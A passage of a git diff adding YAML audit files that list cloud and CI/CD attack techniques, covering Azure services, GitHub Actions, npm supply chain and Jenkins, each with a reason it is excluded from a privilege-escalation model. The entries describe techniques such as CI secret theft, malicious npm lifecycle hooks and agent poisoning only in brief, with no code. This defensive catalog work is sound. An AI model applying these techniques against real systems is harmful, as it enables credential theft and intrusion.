src/pentesting-cloud/azure-security/az-privilege-escalation/az-data-factory-privesc.md#os-level-rce-on-external-compute-batch--databricks--hdinsight-via-a-pipeline-activity + technique: Pipeline Custom Activity / Databricks / HDInsight activity code execution on linked compute + source_revision: a66f094ede + reason: 'NEEDS SCHEMA: G7-data-ai-proposals.md#data-factory-linked-compute (needs a link from the factory''s linked services to the Batch pool / HDInsight cluster + identities they reach).' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-databricks-privesc.md#cluster-init-scripts--notebook-code--rce--steal-the-cluster--workspace-managed-identity + technique: Databricks cluster init script / notebook RCE as the cluster or workspace managed identity + source_revision: a66f094ede + reason: 'NEEDS SCHEMA: G7-data-ai-proposals.md#databricks-workspace-compute-identity (workspace admin or cluster code execution reaches the dbmanagedidentity user-assigned + identity in the workspace managed resource group and identities exposed through the workspace access connector; no selector links a workspace to them). ARM entry + point: azure-databricks-assign-workspace-admin.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-databricks-privesc.md#secret-scope-theft--databricks-backed-and-key-vault-backed-scopes + technique: Databricks secret scope theft + source_revision: a66f094ede + reason: Secret scope contents and ACLs are Databricks data-plane state that is not collected, so which service-principal secrets a scope holds is not derivable; + workspace admin is already modelled by azure-databricks-assign-workspace-admin. Revisit with G7-data-ai-proposals.md#databricks-workspace-compute-identity. +- source: src/pentesting-cloud/azure-security/az-persistence/az-databricks-persistence.md#personal-access-token-pat-minting-for-persistence + technique: Databricks PAT minting + source_revision: a66f094ede + reason: Persistence of already-held workspace access; no new identity. +- source: src/pentesting-cloud/azure-security/az-persistence/az-data-factory-persistence.md#redirect-a-schedule-trigger-with-triggerswrite--stopstart + technique: Data Factory trigger redirect + source_revision: a66f094ede + reason: Duplicate of azure-datafactory-parameter-redirection (its any_of includes triggers/write + stop + start). +- source: src/pentesting-cloud/azure-security/az-persistence/az-purview-persistence.md#over-privileged-scanning-identity-retained + technique: Retain Purview scanning identity / SHIR + source_revision: a66f094ede + reason: Confused-deputy data reads through the Purview identity; no token is disclosed. The credential-capture angle is azure-purview-rogue-shir-scan-credentials. +- source: src/pentesting-cloud/azure-security/az-persistence/az-purview-persistence.md#collection-role-foothold + technique: Purview collection-role foothold + source_revision: a66f094ede + reason: Persistence of already-held Purview data-plane roles; bootstrap is azure-purview-add-root-collection-admin. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-purview-post-exploitation.md#abuse-the-scanning-identity + technique: Abuse the Purview scanning identity + source_revision: a66f094ede + reason: Confused-deputy data reads through scans; no token for the Purview identity is disclosed. +- source: src/pentesting-cloud/azure-security/az-persistence/az-fabric-persistence.md#service-principal-persistence-as-a-workspace-admin + technique: Fabric SP persistence + source_revision: a66f094ede + reason: Persistence of already-held workspace Admin rights. +- source: src/pentesting-cloud/azure-security/az-persistence/az-fabric-persistence.md#git-integration--deployment-pipeline-supply-chain-poisoning + technique: Fabric Git / deployment pipeline poisoning + source_revision: a66f094ede + reason: The Contributor path is duplicate of azure-fabric-notebook-workspace-identity; the repo-write path needs Git provider permissions that are not collected. +- source: src/pentesting-cloud/azure-security/az-persistence/az-fabric-persistence.md#custom-environment--library-persistence-databricks-init-script-analog + technique: Fabric custom environment library persistence + source_revision: a66f094ede + reason: Duplicate of azure-fabric-notebook-workspace-identity (same Contributor requirement and workspace identity target); runs inside other users' interactive + sessions are not derivable. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-healthcare-apis-post-exploitation.md#self-grant-fhirdicom-data-roles-privesc + technique: Self-grant FHIR/DICOM data roles + source_revision: a66f094ede + reason: Duplicate of azure-authorization-roleassignments-write; the gain is FHIR/DICOM data access. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md#recover-managed-identity-tokens-from-an-azure-endpoint + technique: Endpoint IMDS token recovery + source_revision: a66f094ede + reason: Needs prior code execution as the endpoint identity; the ARM paths to it are azure-ml-online-deployment-existing-endpoint and azure-ml-online-endpoint-create-with-user-assigned-identity. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md#poison-a-reused-hugging-face-model-namespace + technique: Hugging Face namespace reuse + source_revision: a66f094ede + reason: Deploying the model already gives code execution through azure-ml-online-deployment-existing-endpoint; the namespace takeover only affects victims who deploy + by name, which is not derivable. +- source: src/pentesting-cloud/azure-security/az-persistence/az-ai-foundry-persistence.md#microsoftcognitiveservicesaccountsaiservicesagentswrite--foundry-agent-poisoning + technique: Foundry agent poisoning + source_revision: a66f094ede + reason: Victim-dependent instruction hijack of agent callers; no identity token is disclosed. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-data-explorer-post-exploitation.md#sandboxed-python--r-plugin--code-execution-on-the-cluster + technique: ADX python()/R plugin + source_revision: a66f094ede + reason: Sandboxed execution with no cluster identity token; reaching one needs a sandbox escape (vulnerability). +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md#microsoftdbformysqlflexibleserversread-microsoftdbformysqlflexibleserverswrite--microsoftmanagedidentityuserassignedidentitiesassignaction + technique: Attach UAMI to MySQL server + source_revision: a66f094ede + reason: The server uses the identity only for Entra admin lookup and service-side calls; no token is exposed to the source (confused deputy). Entra-admin abuse + is azure-mysql-flexible-entra-admin-write. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md#microsoftdbforpostgresqlflexibleserversread-microsoftdbforpostgresqlflexibleserverswrite--microsoftmanagedidentityuserassignedidentitiesassignaction + technique: Attach UAMI to PostgreSQL server + source_revision: a66f094ede + reason: Confused-deputy service-side use of the identity (azure_storage extension reads); no token is exposed to the source. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md#use-azure_storage-extension-to-access-storage-accounts + technique: azure_storage extension storage reads + source_revision: a66f094ede + reason: Confused-deputy data reads through the server identity; no token is exposed. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-data-factory-post-exploitation.md#previewexfil-source-data-through-a-data-flow-debug-session + technique: Data flow debug preview + source_revision: a66f094ede + reason: Confused-deputy data reads through linked services; no identity token is exposed (the token-yielding sandbox run is azure-datafactory-debug-sandbox-run). diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g8-storage-msg.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g8-storage-msg.yaml new file mode 100644 index 0000000000..d1beba6936 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g8-storage-msg.yaml @@ -0,0 +1,71 @@ +# Azure privesc completeness audit (g8-storage-msg): techniques reviewed and intentionally NOT modelled. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md#authorization-rule-key-disclosure-and-rotation + technique: Service Bus namespace authorization-rule keys + source_revision: a66f094ede + reason: Key disclosure is data access; its message-injection use is the namespace listKeys / regenerateKeys alternative of azure-servicebus-message-injection-consumer. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md#microsoftservicebusnamespacesdisasterrecoveryconfigsauthorizationruleslistkeysaction + technique: Service Bus Geo-DR alias keys + source_revision: a66f094ede + reason: Key disclosure is data access; its message-injection use is the disasterRecoveryConfigs listkeys alternative of azure-servicebus-message-injection-consumer. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md#microsoftservicebusnamespacesauthorizationruleswrite + technique: Service Bus namespace SAS rule creation + source_revision: a66f094ede + reason: Self-minted SAS credential is persistence/data access; using it to inject needs the key read back, which is the listKeys alternative of azure-servicebus-message-injection-consumer. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md#microsoftservicebusnamespacesqueuestopicsauthorizationruleslistkeysaction-or-microsoftservicebusnamespacesqueuestopicsauthorizationrulesregeneratekeysaction + technique: Service Bus entity authorization-rule keys + source_revision: a66f094ede + reason: Key disclosure is data access; its message-injection use is the queues/topics listKeys / regenerateKeys alternative of azure-servicebus-message-injection-consumer. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md#microsoftservicebusnamespacesqueuestopicsauthorizationruleswrite + technique: Service Bus entity SAS rule creation + source_revision: a66f094ede + reason: Self-minted entity SAS credential is persistence/data access; injection needs the key read back, covered by the entity listKeys alternatives of azure-servicebus-message-injection-consumer. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md#send-messages-with-keys-microsoftservicebusnamespacesqueuestopicsauthorizationruleslistkeysaction-or-microsoftservicebusnamespacesqueuestopicsauthorizationrulesregeneratekeysaction + technique: Send messages with authorization-rule keys + source_revision: a66f094ede + reason: Duplicate of azure-servicebus-message-injection-consumer, whose any_of holds every listKeys / regenerateKeys variant. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-event-grid-privesc.md#namespace-event-injection-with-only-eventssendaction + technique: Event Grid namespace event injection + source_revision: a66f094ede + reason: Duplicate of azure-eventgrid-event-injection-consumer (events/send/action alternative). +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-event-grid-privesc.md#mqtt-topic-space-publication-and-subscription + technique: Event Grid MQTT publish/subscribe + source_revision: a66f094ede + reason: Publish reaching routed handlers is the topicSpaces/publish alternative of azure-eventgrid-event-injection-consumer; subscribe is message data read with + no identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-signalr-web-pubsub-privesc.md#microsoftsignalrservicewebpubsubhubswrite---redirect-future-user-events + technique: Web PubSub event-handler redirect + source_revision: a66f094ede + reason: Event exfiltration is data access; when the handler uses managed-identity auth, the token capture is the WebPubSub/hubs/write alternative of azure-signalr-upstream-managed-identity-token. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountslistkeysaction + technique: Storage account keys + source_revision: a66f094ede + reason: Data access; consumer-poisoning use is the listKeys alternative of azure-storage-blob-poisoning-consumer and azure-queue-message-injection-consumer. Function + App content storage is modelled in functions.yaml. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountsregeneratekeyaction + technique: Storage account key rotation + source_revision: a66f094ede + reason: Data access/DoS; consumer-poisoning use is the regenerateKey alternative of azure-storage-blob-poisoning-consumer and azure-queue-message-injection-consumer. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountslistaccountsasaction + technique: Storage account SAS + source_revision: a66f094ede + reason: Data access; consumer-poisoning use is the listAccountSas alternative of azure-storage-blob-poisoning-consumer and azure-queue-message-injection-consumer. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountslistservicesasaction + technique: Storage service SAS + source_revision: a66f094ede + reason: Data access; consumer-poisoning use is the listServiceSas alternative of azure-storage-blob-poisoning-consumer and azure-queue-message-injection-consumer. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountslocaluserswrite-microsoftstoragestorageaccountslocalusersread + technique: Storage SFTP local user creation + source_revision: a66f094ede + reason: Data access/persistence; blob-poisoning use is the localUsers/write alternative of azure-storage-blob-poisoning-consumer. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountslocalusersregeneratepasswordaction + technique: Storage SFTP local user password reset + source_revision: a66f094ede + reason: Data access; blob-poisoning use is the localUsers/regeneratePassword alternative of azure-storage-blob-poisoning-consumer. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-configuration-privesc.md#microsoftappconfigurationconfigurationstoreslistkeysaction + technique: App Configuration access keys + source_revision: a66f094ede + reason: Configuration data read; Key Vault references resolve only with the consumer identity. Poisoning use is the ListKeys alternative of azure-appconfig-keyvalue-poisoning-consumer. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-configuration-privesc.md#microsoftappconfigurationconfigurationstoresregeneratekeyaction + technique: App Configuration key rotation + source_revision: a66f094ede + reason: Store data-plane access only; poisoning use is the RegenerateKey alternative of azure-appconfig-keyvalue-poisoning-consumer. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_pa_az_post_persist_s06.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_pa_az_post_persist_s06.yaml new file mode 100644 index 0000000000..6822b3dcee --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_pa_az_post_persist_s06.yaml @@ -0,0 +1,61 @@ +# Verified Azure audit exclusions. +- source: src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md#backdoor-instances + technique: VM userData poisoning consumed by privileged startup code + source_revision: 0b36331 + reason: virtualMachines/write can change userData, but the new bytes execute only if guest provisioning or application + code reads and trusts them. The ARM snapshot does not expose that host/application behavior, execution event + or credential access; VM extension and reimage paths are separately modeled. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-aks-kubernetes-unauth.md#bearer-identity-tokens + technique: Recover accepted bearer identity token + source_revision: 0b36331 + reason: The regex detects JWT-shaped bytes, not a credential. A target edge needs the actual token, accepted issuer + and signature, audience, expiry, target principal and effective Kubernetes/Azure grants; those live in public + artifact content and live authentication state outside the configuration snapshot. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-aks-kubernetes-unauth.md#kubeconfig-credentials + technique: Recover accepted kubeconfig credential + source_revision: 0b36331 + reason: A public kubeconfig is an identity path only if it contains a live bearer token or client certificate + plus private key accepted by the cluster and bound to a privileged principal. The page supplies a regex, not + the public file bytes, credential validity, cluster reachability or RBAC join; a server URL alone grants nothing. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-api-management-unauth.md#apim-subscription-keys + technique: Use leaked APIM product/API subscription key + source_revision: 0b36331 + reason: A real unexpired key can grant product/API calls, but its bytes, enabled subscription and product, API + policies and any backend authentication must be verified at runtime. An APIM subscription key is a service data-plane + credential, not an Azure/Entra or other catalog principal. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-api-management-unauth.md#developer-portal-self-registration + technique: APIM open developer self-registration + source_revision: 0b36331 + reason: Registration can create an APIM developer identity and possibly a product subscription, but approval, + product exposure and gateway policy determine access. It grants no Azure/Entra principal or catalog target; + the signup result is a live application workflow outside the cloud RBAC snapshot. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-api-management-unauth.md#signup-bypass-even-when-registration-is-disabled + technique: APIM signup bypass yields developer account and subscription key + source_revision: 0b36331 + reason: The page describes a live portal signup and CAPTCHA replay, followed by email confirmation and self-subscription. + Those runtime steps and product approval are not ARM configuration facts; the result is an APIM developer account/key, + not an Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-app-services-functions-unauth.md#azure-sas-urlstokens + technique: Leaked signed service URL or SAS + source_revision: 0b36331 + reason: A valid SAS can delegate service-specific data-plane operations, but the regex does not establish signature, + expiry, permissions or resource. It does not confer the signer's Azure/Entra identity; a later privileged consumer + pivot needs an identified consumer and executable content. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-app-services-functions-unauth.md#dangling-cname-subdomain-takeover + technique: Legacy App Service name reclaimed to intercept victim session + source_revision: 0b36331 + reason: 'A dangling CNAME alone does not show the hostname is reclaimable: tenant reservation, secure default + hostname and asuid TXT protection must be checked. An Azure user gain also requires a victim to send a usable + session to the claimed domain; that future traffic and token validity are not snapshot facts.' +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-app-services-functions-unauth.md#function-host-and-master-keys + technique: Leaked Functions master key permits runtime administration + source_revision: 0b36331 + reason: The page distinguishes function, host and master keys, but the regex does not identify a valid master + key for a specific app. MI access further needs a reachable runtime admin/file-write path and execution of modified + code; key bytes, endpoint response and runtime behavior are not in the configuration snapshot. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-automation-webhooks-unauth.md#automation-webhook-urls + technique: Leaked Automation webhook triggers privileged runbook + source_revision: 0b36331 + reason: A complete live webhook URL permits only the configured runbook invocation. An identity gain needs the + actual unexpired token, enabled webhook, runbook identity, accepted parameters and code path that performs a + caller-controlled privileged action; URL shape and ARM metadata do not establish those runtime facts. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_s06.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_s06.yaml new file mode 100644 index 0000000000..3a6acfa4cb --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_s06.yaml @@ -0,0 +1,55 @@ +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/historical-cross-tenant-vulnerabilities.md#shared-service-tenant-isolation-escapes + technique: ChaosDB Jupyter cross-tenant Primary Key exposure + source_revision: 0b36331 + reason: Historical Cosmos Jupyter cross-tenant key disclosure was fixed; current server-side vulnerability and + exposed victim key are not tenant snapshot facts. +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/historical-cross-tenant-vulnerabilities.md#shared-service-tenant-isolation-escapes + technique: Azurescape ACI runC breakout and bridge-token theft + source_revision: 0b36331 + reason: Historical ACI runC/node breakout was fixed; a vulnerable shared node and bridge token cannot be inferred + from customer configuration. +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/historical-cross-tenant-vulnerabilities.md#shared-service-tenant-isolation-escapes + technique: SynLapse Redshift ODBC injection on shared runtime + source_revision: 0b36331 + reason: Historical shared Integration Runtime command injection was fixed; vulnerable driver/host and cross-tenant + credentials are not tenant facts. +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/historical-cross-tenant-vulnerabilities.md#shared-service-tenant-isolation-escapes + technique: AutoWarp cross-sandbox localhost MI endpoint + source_revision: 0b36331 + reason: Historical Automation sandbox isolation flaw was fixed; shared-host placement and another sandbox token + endpoint are runtime service facts. +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/historical-cross-tenant-vulnerabilities.md#shared-service-tenant-isolation-escapes + technique: Power Platform connector /api/Script unauthenticated read + source_revision: 0b36331 + reason: Historical unauthenticated connector Script endpoint was fixed; a vulnerable host and its contents are + not customer configuration facts. +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/historical-cross-tenant-vulnerabilities.md#multi-tenant-app-and-token-trust-failures + technique: BingBang missing tid authorization + source_revision: 0b36331 + reason: BingBang depended on a particular CMS omitting tid authorization; tenant app registration alone cannot + determine relying-party authorization. +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/historical-cross-tenant-vulnerabilities.md#multi-tenant-app-and-token-trust-failures + technique: Storm-0558 consumer signing key trusted for enterprise apps + source_revision: 0b36331 + reason: Forging another user required the stolen Microsoft signing key and an app that accepted the wrong issuer; + neither is in a tenant snapshot. +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/historical-cross-tenant-vulnerabilities.md#multi-tenant-app-and-token-trust-failures + technique: Midnight Blizzard legacy tenant to corporate OAuth app + source_revision: 0b36331 + reason: The case required a stolen legacy account and an already privileged cross-tenant app/grant; the page gives + no independent new permission primitive. +- source: src/pentesting-cloud/azure-security/az-basic-information/README.md#default-consent-permissions + technique: user consent to attacker app + source_revision: 0b36331 + reason: An attacker app obtains victim delegated authority only after that victim consents; future user action + is not inferred from consent policy. +- source: src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md#ropc--password-grant + technique: ROPC with stolen username and password + source_revision: 0b36331 + reason: ROPC takeover requires a stolen valid password and a successful live sign-in/Conditional Access result, + neither supplied by configuration. +- source: src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md#where-to-find-tokens + technique: browser session authorization-code redirect to localhost/nativeclient + source_revision: 0b36331 + reason: Requires an active victim browser session, redirect/client eligibility, consent and a successful authorization-code + exchange. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_challenge_crossprovider.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_challenge_crossprovider.yaml new file mode 100644 index 0000000000..b53d9f049e --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_challenge_crossprovider.yaml @@ -0,0 +1,18 @@ +# Mixed-provider rows in the Azure challenge. These are real conditional pivots, +# but cannot be represented in the four-provider catalog without changing the +# PEASO sync/export scripts outside this task's exclusive edit paths. +- source: src/pentesting-cloud/digital-ocean-pentesting/do-services/do-apps.md#rce--encrypted-env-vars + technique: Use App Platform console access to extract credentials from decrypted runtime environment + reason: DigitalOcean is not a supported PEASO privesc provider. The console exposes values, but the app spec does not identify a usable target credential; an exact app/component, runtime secret and principal join needs a DigitalOcean collector and provider model. The PEASO sync/export provider allowlists are outside this task's exclusive edit paths. +- source: src/pentesting-cloud/digital-ocean-pentesting/do-services/do-functions.md#triggers + technique: Export function environment variables to recover a stored credential + reason: DigitalOcean is not a supported PEASO privesc provider. A function variable name is not proof of a credential or target principal; namespace/function metadata and credential validation require a DigitalOcean collector and provider model. The PEASO sync/export provider allowlists are outside this task's exclusive edit paths. +- source: src/pentesting-cloud/digital-ocean-pentesting/do-services/do-kubernetes-doks.md#connection + technique: Download a DOKS cluster kubeconfig through DigitalOcean access + reason: DigitalOcean is not a supported PEASO privesc provider. Retrieval yields a kubeconfig, but its actual subject, expiry and effective Kubernetes RBAC must be established before a bounded edge. The PEASO sync/export provider allowlists are outside this task's exclusive edit paths. +- source: src/pentesting-cloud/ibm-cloud-pentesting/README.md#ssrf + technique: Use workload SSRF to exchange IBM VPC metadata instance identity for a trusted-profile IAM token + reason: IBM Cloud is not a supported PEASO privesc provider. Metadata enablement alone proves neither a reachable SSRF nor a trusted-profile link; exact VSI, verified SSRF and matching profile facts are required. The PEASO sync/export provider allowlists are outside this task's exclusive edit paths. +- source: src/pentesting-cloud/ibm-cloud-pentesting/ibm-basic-information.md#trusted-profiles + technique: Apply an authorized IBM Cloud trusted profile + reason: IBM Cloud is not a supported PEASO privesc provider. Applying a profile requires an exact matching link or federation rule, current claims and a successful token exchange; a profile's existence alone proves no edge. The PEASO sync/export provider allowlists are outside this task's exclusive edit paths. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_ci_cd.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_ci_cd.yaml new file mode 100644 index 0000000000..eeea245ecc --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_ci_cd.yaml @@ -0,0 +1,450 @@ +# Reviewed source techniques without a supported principal escalation edge. +- source: src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md#vulnerable-pattern--rce-on-runner + source_revision: 0b36331 + technique: Issue/PR-derived expression inserted into run shell + reason: A workflow must interpolate an attacker-controlled issue or pull-request field into a shell step, + and that job must expose a more privileged token, secret, or identity. GitHub workflow text, event permissions, + and runner/secret binding are absent from the four-provider snapshot. +- source: src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md#comment-state-confusion-spoofed-bot-comments--shell-injection + source_revision: 0b36331 + technique: Spoof find-comment bot marker and inject through comment-body + reason: Requires a find-comment step that matches body text without checking author, then interpolates the + selected comment into a privileged shell step. The repository workflow and comment-selection behavior are + not in the snapshot. +- source: src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md#toctou-race-against-bot-comments + source_revision: 0b36331 + technique: Race bot comment to win find-comment selection + reason: Requires the attacker comment to win a live timing race against the bot comment and to be selected + for shell interpolation; a static snapshot cannot establish the winner. +- source: src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-npm-supply-chain-abuse.md#lifecycle-hooks + source_revision: 0b36331 + technique: Publish malicious npm lifecycle hook + reason: Requires control of an npm release consumed by a victim job or workstation with install scripts enabled. + Package-version content and the consuming host/job identity are not collected. +- source: src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-npm-supply-chain-abuse.md#bindinggyp--node-gyp-execution-phantom-gyp + source_revision: 0b36331 + technique: Publish native binding.gyp execution path + reason: Requires a published package with binding.gyp to be installed or rebuilt through node-gyp on a credential-bearing + host; package content and the install/rebuild event are not in the snapshot. +- source: src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-npm-supply-chain-abuse.md#runtime-backdoors-at-plaintext-secret-boundaries + source_revision: 0b36331 + technique: Backdoor package credential/seed handling method + reason: Requires a malicious package method to receive an actual secret before validation or encryption and + exfiltrate it. Runtime data flow and secret value are unavailable to configuration evaluation. +- source: src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-npm-supply-chain-abuse.md#runner-secret-theft-after-install-time-execution + source_revision: 0b36331 + technique: Read CI env/files or Runner.Worker memory + reason: Requires already-running attacker code on the runner plus readable environment, files, or Runner.Worker + memory and a live credential. Those host/process facts are not configuration. +- source: src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-npm-supply-chain-abuse.md#workflow-assisted-exfiltration + source_revision: 0b36331 + technique: Use workflow-write GitHub token to run toJSON(secrets) artifact workflow + reason: Requires repository workflow-write authority, an executable workflow, and secrets available to its + job after environment protection. GitHub workflow authorization and secret delivery are not collected. +- source: src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-npm-supply-chain-abuse.md#wormable-npm-publishing + source_revision: 0b36331 + technique: Republish malicious versions using stolen npm token + reason: Requires a stolen, valid npm publisher token and a future downstream install. Neither token possession + nor install timing is a configured source-to-target edge. +- source: src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-npm-supply-chain-abuse.md#repository-to-workstation-propagation + source_revision: 0b36331 + technique: Plant VS Code task or Claude SessionStart hook + reason: Requires a maintainer to open the poisoned repository in VS Code or start a Claude session with hooks + enabled; that workstation action is not a configuration fact. +- source: src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-npm-supply-chain-abuse.md#dead-drop-c2-and-github-exfiltration + source_revision: 0b36331 + technique: Reuse stolen classic GitHub token for public repo exfiltration + reason: Requires possession of a stolen live GitHub token and runtime exfiltration behavior; the token holder + and its current scope cannot be inferred from cloud configuration. +- source: src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-npm-supply-chain-abuse.md#trusted-publishing-and-provenance-limits + source_revision: 0b36331 + technique: Compromised id-token:write trusted-publisher release job mints npm credential + reason: Requires attacker code in a release job whose OIDC subject matches the npm trusted-publisher binding + and whose job grants id-token:write. GitHub workflow content and npm binding are uncollected. +- source: src/pentesting-ci-cd/github-security/basic-github-information.md#oauth-applications + source_revision: 0b36331 + technique: OAuth consent grants third-party application user scopes + reason: OAuth consent must be granted by the victim user for specific scopes; app registration alone does + not convey that user identity. Consent records and victim action are outside the snapshot. +- source: src/pentesting-ci-cd/github-security/basic-github-information.md#git-secrets + source_revision: 0b36331 + technique: Execute Actions job to read declared secrets + reason: A GitHub job must execute attacker-controlled code and declare a secret available in that event/environment. + Workflow text, job execution, and secret delivery are not collected. +- source: src/pentesting-ci-cd/github-security/basic-github-information.md#git-action-compromise + source_revision: 0b36331 + technique: Malicious action steals GITHUB_TOKEN or job secrets + reason: A malicious action must be selected by a job that exposes GITHUB_TOKEN, secrets, or a cloud identity. + Action content, workflow invocation, and job secret grants are not collected. +- source: src/pentesting-ci-cd/github-security/basic-github-information.md#branch-protections + source_revision: 0b36331 + technique: Unbound required check or bot skip directive bypasses merge gate + reason: A required check must be unbound or a bot must honor a skip directive for the protected branch; resulting + privileged pipeline execution still needs a consumer workflow. Branch rules and bot behavior are outside + the snapshot. +- source: src/pentesting-ci-cd/gogs-security/README.md#abusing-git-rebase---exec-for-rce + source_revision: 0b36331 + technique: Gogs attacker ref parsed as git rebase --exec + reason: The vulnerable Gogs handler must pass an attacker-controlled ref to git rebase without option termination, + and its host must hold a target identity. Server version/code path and host identity are not collected. +- source: src/pentesting-ci-cd/jenkins-security/README.md#sso-login + source_revision: 0b36331 + technique: Misconfigured SSO maps external identity into privileged Jenkins role + reason: Requires an external account to map through the configured SSO plugin into a privileged Jenkins role. + Plugin mapping and resulting user role are outside the snapshot. +- source: src/pentesting-ci-cd/jenkins-security/README.md#dumping-builds-to-find-cleartext-secrets + source_revision: 0b36331 + technique: Read build logs/environment output for credentials + reason: Requires a readable build log or dumped environment containing a live credential for another identity; + Jenkins read rights and log contents are absent from the provider snapshot. +- source: src/pentesting-ci-cd/jenkins-security/README.md#formvalidationtestconnection-endpoints-csrf-to-ssrfcredential-theft + source_revision: 0b36331 + technique: Abuse unchecked plugin validation to reuse stored credentials + reason: Requires a specific Jenkins plugin endpoint lacking POST and permission checks, a configured reusable + credential, and a reachable exfiltration target. Plugin code and runtime request behavior are absent. +- source: src/pentesting-ci-cd/jenkins-security/README.md#stealing-ssh-credentials + source_revision: 0b36331 + technique: Modify/create Jenkins node to send stored SSH credential to attacker host + reason: Requires Jenkins node-configuration permission, a stored SSH credential selected for the node, and + nonverifying host-key behavior. Jenkins node and credential configuration are uncollected. +- source: src/pentesting-ci-cd/jenkins-security/README.md#pipeline-exploitation + source_revision: 0b36331 + technique: Poison writable Jenkinsfile used by privileged build + reason: Requires write to a Jenkinsfile actually consumed by a privileged build, with review and branch protection + permitting that revision; Jenkins SCM mapping and later build execution are uncollected. +- source: src/pentesting-ci-cd/jenkins-security/README.md#dumping-secrets + source_revision: 0b36331 + technique: Use withCredentials in custom pipeline to expose in-scope credentials + reason: Requires Job/Configure or writable Jenkinsfile plus a build that can bind the target credential in + its scope. Credential scope and build execution are not collected. +- source: 